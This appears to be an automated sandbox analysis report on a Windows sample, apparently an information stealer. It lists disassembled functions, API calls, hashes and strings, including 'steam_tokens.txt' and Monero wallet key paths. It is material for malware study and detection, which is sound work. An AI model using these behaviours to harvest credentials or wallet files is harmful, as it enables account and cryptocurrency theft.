Part of subcall function 00DA8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00DA8158
Part of subcall function 00DA8100: __aulldiv.LIBCMT ref: 00DA8172
Part of subcall function 00DA8100: __aulldiv.LIBCMT ref: 00DA8180
Part of subcall function 00DA8100: wsprintfA.USER32 ref: 00DA81AC

Part of subcall function 00DA87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00DB0E28,00000000,?), ref: 00DA882F
Part of subcall function 00DA87C0: RtlAllocateHeap.NTDLL(00000000), ref: 00DA8836
Part of subcall function 00DA87C0: wsprintfA.USER32 ref: 00DA8850

Part of subcall function 00DA8320: RegOpenKeyExA.KERNEL32(00000000,0194B988,00000000,00020019,00000000,00DB05B6), ref: 00DA83A4

Part of subcall function 00DA8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00DA8426
Part of subcall function 00DA8320: wsprintfA.USER32 ref: 00DA8459
Part of subcall function 00DA8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00DA847B
Part of subcall function 00DA8320: RegCloseKey.ADVAPI32(00000000), ref: 00DA848C
Part of subcall function 00DA8320: RegCloseKey.ADVAPI32(00000000), ref: 00DA8499

Part of subcall function 00DA8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00DB05B7), ref: 00DA86CA
Part of subcall function 00DA8680: Process32First.KERNEL32(?,00000128), ref: 00DA86DE
Part of subcall function 00DA8680: Process32Next.KERNEL32(?,00000128), ref: 00DA86F3
Part of subcall function 00DA8680: CloseHandle.KERNEL32(?), ref: 00DA8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00DA265B

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: c76e2753f105279d0e040f1ab6eecc429e9dd32b604737222887c0d4741f1eb9
Instruction ID: 3b04965cdf46957686e38f075cfb4153978a124b6acd870ef1bd9381a72803ae
Opcode Fuzzy Hash: c76e2753f105279d0e040f1ab6eecc429e9dd32b604737222887c0d4741f1eb9
Instruction Fuzzy Hash: 18724C72C10118AADB59FBA4DC92EEE7338EF15300F5187AAB11762051EF346B49CE76

Function 00D96D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fdb28bfe7e2b2a2af662c2c65f21344b93d339e3e4633b19174014b8470973a
Instruction ID: f05ca12222fcb67f2c922801e4ead5f34cf199d543f5b1f50de62ea298e5a762
Opcode Fuzzy Hash: 1fdb28bfe7e2b2a2af662c2c65f21344b93d339e3e4633b19174014b8470973a
Instruction Fuzzy Hash: 7B61E4B4900218EBCF14DF94E984BEEB7B0BF08304F148599E81967280E775EE94DFA1

Function 00DA70D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00DA718C

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 6d546960c0a3c3f40785e22c192193e47941c74fd7b209b5d0372d2f85e5c9fa
Instruction ID: 534681d9f420f279c395287810dd1390eaca55112256e3c3f1dd6a8e5ec45143
Opcode Fuzzy Hash: 6d546960c0a3c3f40785e22c192193e47941c74fd7b209b5d0372d2f85e5c9fa
Instruction Fuzzy Hash: 6C516FB1D04218DFDB24EBA4DC85BEEB7B4EF45304F1441A8E116A6181EB746E88CF79

Function 00DA5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA820: lstrlen.KERNEL32(00D94F05,?,?,00D94F05,00DB0DDE), ref: 00DAA82B
Part of subcall function 00DAA820: lstrcpy.KERNEL32(00DB0DDE,00000000), ref: 00DAA885

lstrlen.KERNEL32(00000000,00000000,00DB0ACA), ref: 00DA512A

Strings

steam_tokens.txt, xrefs: 00DA513F

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: a2d35d3c962f6f278b37e3bc24b3f158fd361022ea22b92d765251b013647285
Instruction ID: 6829f2a0b8966f2d85fe67b470349deacdc11e9e1514e3d57b0bddcb0c02229f
Opcode Fuzzy Hash: a2d35d3c962f6f278b37e3bc24b3f158fd361022ea22b92d765251b013647285
Instruction Fuzzy Hash: 30F0FB72910108A6CB44FBB4EC56AED773CDF56300F404258B41762092EF246A09C6B6

Function 00DA7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00DB0E2C), ref: 00DA7F00
wsprintfA.USER32 ref: 00DA7F16

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 3a68a19ea8e64d9c8d43f5a803ddfa6448fc020bd23bbf50944fd2d8df88ec92
Instruction ID: 2c0d741a0e968df11ac9ae9bbcddb863898cf0c0a0762fcaf046768498a6b6a7
Opcode Fuzzy Hash: 3a68a19ea8e64d9c8d43f5a803ddfa6448fc020bd23bbf50944fd2d8df88ec92
Instruction Fuzzy Hash: 31F06DB1A04208EFCB10CF94DC45FAAFBBCFB49A24F00066AF91592680D7756A048BE5

Function 00D9B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

lstrlen.KERNEL32(00000000), ref: 00D9B9C2
lstrlen.KERNEL32(00000000), ref: 00D9B9D6

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 62a6cf3e643610814abb403ebc01df1dc05a8612205639dea9c0575c8d79cc20
Instruction ID: ef711bfc75647b0434a006bccffbec9e41339c183f21a1e07493f543107bbd6c
Opcode Fuzzy Hash: 62a6cf3e643610814abb403ebc01df1dc05a8612205639dea9c0575c8d79cc20
Instruction Fuzzy Hash: BEE1EC729101189BDB45EBB8DC92EEE7339EF55300F404659F507A60A1EF386A49CBB2

Function 00D9AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

lstrlen.KERNEL32(00000000), ref: 00D9B16A
lstrlen.KERNEL32(00000000), ref: 00D9B17E

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f8bdbf8d761f921fba2c3aeead263d1f8a2e7ce5548debb08d876106ce178b7c
Instruction ID: 0a7911ee3ddf350b0d4f85ddb17bd789b35e4b703c7f63f64829d9fef8509240
Opcode Fuzzy Hash: f8bdbf8d761f921fba2c3aeead263d1f8a2e7ce5548debb08d876106ce178b7c
Instruction Fuzzy Hash: B1911C729101189BDF44EBB8DC96EEE7379EF15300F404669F507A6091EF386A09CBB2

Function 00D9B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

lstrlen.KERNEL32(00000000), ref: 00D9B42E
lstrlen.KERNEL32(00000000), ref: 00D9B442

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

